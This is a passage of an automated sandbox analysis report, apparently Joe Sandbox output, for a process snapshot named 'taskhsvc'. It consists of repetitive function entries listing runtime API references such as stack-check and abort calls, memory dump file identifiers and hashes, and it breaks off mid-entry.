                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                          • Part of subcall function 00C5B75C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,00C5CF41), ref: 00C5B790
                                          • Part of subcall function 00C5B797: __stack_chk_fail.LIBSSP-0 ref: 00C5B7F8
                                          • Part of subcall function 00C5B7FF: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,00C5C2A8), ref: 00C5B86C
                                          • Part of subcall function 00BC21C4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C7FEAD), ref: 00BC21F7
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BEEE36
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00D19D53: __stack_chk_fail.LIBSSP-0 ref: 00D19DB3
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID: Z
                                        • API String ID: 4216919130-3780660799
                                        • Opcode ID: ebfbe2fecd605b0aad5eb3ed9f3f79a680c1c502cb62381aa1963e5034a7eb6a
                                        • Instruction ID: c4afb32f084e0a991e7596303c4f2acee541e20c4b140d7d911c9d5039a109d5
                                        • Opcode Fuzzy Hash: ebfbe2fecd605b0aad5eb3ed9f3f79a680c1c502cb62381aa1963e5034a7eb6a
                                        • Instruction Fuzzy Hash: D871A2B49047599FCB00EFA9C585AADBBF0FF48310F118859E894AB341E734D984DF66
                                        Function 00BF0BA7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BF0D39
                                          • Part of subcall function 00BF3521: abort.MSVCRT ref: 00BF3577
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort
                                        • String ID: ]
                                        • API String ID: 3276312271-813518171
                                        • Opcode ID: f9e17bdd11b9d479f4106688837c319cead7de1c99ee8cf198a29c43fc96d24f
                                        • Instruction ID: 05d854b9619d360c4117929f69a220f4c395d89b213c376d264df9e946fad136
                                        • Opcode Fuzzy Hash: f9e17bdd11b9d479f4106688837c319cead7de1c99ee8cf198a29c43fc96d24f
                                        • Instruction Fuzzy Hash: 8641F874A146499BCB10EFB9C581ABDB7F0EF08304F058599ED94EB362E734D984CB21
                                        Function 00C17F92 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C18076
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00C1604E: abort.MSVCRT ref: 00C160C4
                                          • Part of subcall function 00C1604E: __stack_chk_fail.LIBSSP-0 ref: 00C162E8
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abort
                                        • String ID: xB
                                        • API String ID: 1190921433-1252927102
                                        • Opcode ID: 7eecdf03151871bade34f88be59ceeff7abc11e4217067e6131e57e1840735b1
                                        • Instruction ID: ad794fd21febc38dda86725ca30f00527ecf5b46f39d11305a915f67941a2df2
                                        • Opcode Fuzzy Hash: 7eecdf03151871bade34f88be59ceeff7abc11e4217067e6131e57e1840735b1
                                        • Instruction Fuzzy Hash: 8D2139B49082099FCB00DF94D594ABEB7F1BF09304F018849E894AB351D779D9889B31
                                        Function 00BC76BD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC77A4
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID: ,
                                        • API String ID: 4216919130-2078262936
                                        • Opcode ID: c6a4ee0e78f5bf53b70aeb08d97de7de37680971d6c790fd4aadfb373313a735
                                        • Instruction ID: 8751dab3e5f45a9ec99073486a8e6ee9bbc6faaad56017b4e3afe17eb1f08187
                                        • Opcode Fuzzy Hash: c6a4ee0e78f5bf53b70aeb08d97de7de37680971d6c790fd4aadfb373313a735
                                        • Instruction Fuzzy Hash: 432117B06083059BE711AF64D4457AEBBF0BF88324F10D9ADF4989B381DB749984CF66
                                        Function 00C10A71 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C10B00
                                          • Part of subcall function 00C10938: abort.MSVCRT ref: 00C109D0
                                          • Part of subcall function 00C10938: __stack_chk_fail.LIBSSP-0 ref: 00C10A6A
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00C1084E: __stack_chk_fail.LIBSSP-0 ref: 00C108D0
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
